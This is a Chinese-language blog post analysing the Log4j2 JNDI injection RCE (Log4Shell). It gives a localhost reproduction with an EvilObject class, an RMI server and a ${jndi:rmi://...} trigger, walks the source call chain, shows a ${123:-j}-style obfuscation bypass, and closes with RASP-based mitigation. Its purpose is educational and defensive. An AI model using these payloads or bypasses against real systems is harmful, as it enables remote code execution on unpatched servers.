没能赶上Struts2和Fastjson的顺风车,好在Log4j2也算是见证了历史。
漏洞描述
2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
影响版本:
- 2.0 <= Apache log4j <= 2.14.1
RCE版本限制:
- JDK 6u211-、7u201-、 8u191-、 11.0.1-
漏洞复现
Log4j2 RCE漏洞本质上还是JNDI注入漏洞:
- 在 pom 中添加下方 dependency
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
- 构造恶意class文件
public class EvilObject {
public EvilObject() throws Exception {
Runtime.getRuntime().exec("open -a Calculator");
}
}
编译 EvilObject.java,生成 EvilObject.class,将EvilObject.class文件移动到其他目录,并把java源码全部注释。(防止server端绑定时从本地直接加载)
在 EvilObject.class所在目录运行python -m SimpleHTTPServer 20022。

- server端绑定恶意对象
public class Server {
public static void main(String[] args)throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject","EvilObject","http://127.0.0.1:20022/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("evil",refObjWrapper);
}
}
- client端触发漏洞
public class Client {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:rmi://127.0.0.1:1099/evil}");
}
}

影响范围
这个仓库归纳了受影响的厂商和组件,厂商包括Apple、Tencent、Steam、Twitter… 组件包括Apache Solr、Apache Druid …
漏洞分析
在 Log4j2的官方文档中可以看见,其对 JNDI Lookup 做了支持:

Log4j2 使用 org.apache.logging.log4j.core.pattern.MessagePatternConverter 来对日志消息进行处理,在实例化 MessagePatternConverter 时会从 Properties 及 Options 中获取配置来判断是否需要关闭 Lookups 功能。
在org.apache.logging.log4j.core.util.Constants默认配置可以看到,log4j2.formatMsgNoLookups是关闭的,因此noLookups返回false,表明其默认支持Lookups 功能
public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups", false);

下面正式进入调用链,再次回到org.apache.logging.log4j.core.pattern.MessagePatternConverter,进入format 方法

- 在第一个红框内,首先判断了是否关闭了noLookups,返回false,表明开启Lookups功能。
- 第二个红框内,对workingBuilder **(View Text中的内容) 进行了遍历,判断是否有
${开头的内容,之后匹配完整内容,返回为 **value - 第三个红框,生成了一个StrSubstitutor对象,对value进行
replace()操作。
伏笔一:StrSubstitutor是什么?

StrSubstitutor是Log4j2中字符替换处理的关键类,其中定义了大量的全局常量,在匹配时对其进行处理。后续的绕过就会用到这里的特性。
再跟进replace()方法,我们进入了字符处理的核心方法org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute():

前半部分的逻辑比较麻烦,是通过 while 循环来进行不断匹配从而取出 ${ } 中间的值,如果又匹配到${,则跳出来继续匹配},以处理嵌套的value,比如:${abc${abc}zxc}。
在没有匹配到变量赋值或处理结束后,将会调用 resolveVariable 方法解析满足 Lookup 功能的语法。
resolveVariable中先会调用this.getVariableResolver();获取到所有的resolver。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
StrLookup resolver = this.getVariableResolver();
return resolver == null ? null : resolver.lookup(event, variableName);
}
resolver 是 StrLookup的实例对象,Log4j2 使用 org.apache.logging.log4j.core.lookup.Interpolator 类来代理所有的 StrLookup 实现类。也就是说在实际使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。

可以看到除了jndi,还有很多其他类型的strLookupMap,这为我们的攻击拓展埋下了伏笔二。
下面进入 resolver.lookup()

首先对value截取:,也就是提取了前4个字符jndi,然后从上面所说的strLookupMap中获取这个对象,最后调用Jndiookup.lookup()也就是最终sink点,触发漏洞。
绕过与拓展
之前说到StrSubstitutor中定义了许多关键常量,比如:-,如果程序处理到 ${abcd:-efgh} 这样的字符串,处理的结果将会是 efgh,:- 关键字将会被截取掉,而之前的字符串都会被舍弃。那么以下这种方式的构造是可以执行的:
logger.error("${${123:-j}${456:-n}di:rmi://127.0.0.1:1099/evil}");
绕过方式还有很多,这个仓库总结了绝大多数绕过的方法。
回到伏笔二,除了jndi,log4j2还支持其他Lookup类型

利用其他的类型,可以增加绕过的方式,或者在无法RCE的时候进行信息泄漏,这个仓库保留有信息泄漏可以利用的攻击面。举个例子:

当然这种攻击只是打在了本地,还需要通过DNSLOG回显带出数据:

漏洞防范
漏洞爆发当晚可谓是一个不眠之夜,各大安全厂商发文章,改规则,这里粘贴 奇安信威胁情报中心 的修复建议。

2022.3.3补充:
a. 升级到最新版本,这自然是最优解。但是,在Poc披露期间,如果还没有稳定的修复版本,有什么办法可以避免攻击呢?
自定义WAF是一种选择,但WAF的本质还是对抗,有WAF就有绕过。在Log4j2那么多中畸形Poc下,短时间内也很难做出完美的对应措施。
回到Log4j2 RCE漏洞的本质 —— JNDI注入,那无非触发点就是最后的lookup方法,如果我们可以HOOK该方法,在调用此方法时直接返回为空,或者抛出异常,不就从根本上防御了吗?
我们结合 靖云甲 cloudrasp-log4j2 介绍一下RASP(Runtime application self-protection)运行时应用自我保护,下图为官方截图:

该项目分为 core 和 loader 两部分。

loader为启动jar包,分启动前加载和运行时加载两种模式,这里我们不过多阐述Agent的机制,不管哪种方式启动,都会加载 core 。

这里自定义了 ClassLoader 处理core.jar包,并反射调用其cn.boundaryx.rasp.RASPLauncher类的launch 方法。之后我们关注放在 core下的HOOK处理。

第一个if语句判断了当前加载类名,只有运行到 javax/naming/InitialContext 我们再进一步处理。
跟进JndiHook.transform(ctClass),再跟进到beforeMethod(),getEnhancedCodeWithException方法生成了一段代码块,并在下方的BytecodeUtils.insertBefore()中插入到指定的方法lookup调用前。

调试发现,插入代码为红框里的内容,其执行了cn.boundaryx.rasp.analyzer.checkJndiStr(),对jvm栈帧进行了分析,如果匹配到org.apache.logging.log4j.core.lookup.Interpolator.lookup,则抛出自定义异常RASPSecurityException。

ok我们现在重新梳理一下HOOK的流程:
-
匹配加载的类名
javax.naming.InitialContext。 - 在
javax.naming.InitialContext.lookup(),也就是最后触发点前插入一段代码。 - 改代码会优先执行
cn.boundaryx.rasp.analyzer.checkJndiStr(),该方法会检查栈帧,如果检测到org.apache.logging.log4j.core.lookup.Interpolator.lookup,则抛出自定义异常RASPSecurityException。
官方的例子中,拦截到sink点会直接抛出异常。但我在本地尝试的时候,发现的确拦截了命令,但是并没有输出异常:

调试发现 log4j2默认appender开启了异常忽略,并没能抛出:

我们创建log4j2.xml文件,在其中写入:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="warn" name="MyApp" packages="">
<Appenders>
<Console name="STDOUT" target="SYSTEM_OUT" ignoreExceptions="false">
<PatternLayout pattern="%m%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="error">
<AppenderRef ref="STDOUT"/>
</Root>
</Loggers>
</Configuration>
重新运行,即可看到异常,下方还输出了完整调用链:

如果是正在运行的程序,我们还可以通过attach模式进行代理:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.Scanner;
public class ClinetForRasp {
private static final Logger logger = LogManager.getLogger(ClinetForRasp.class);
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
while (true){
String string = scanner.next();
logger.error(string);
}
}
}

相比于传统WAF,我认为RASP优势在于无需花时间对抗千奇百怪的攻击者poc,而是专注于程序本身,处理好数据流关系,把防守化被动为主动。比如如果预先做好了RASP对JNDI注入的防御,Log4j2 0day 的爆发也无法造成威胁。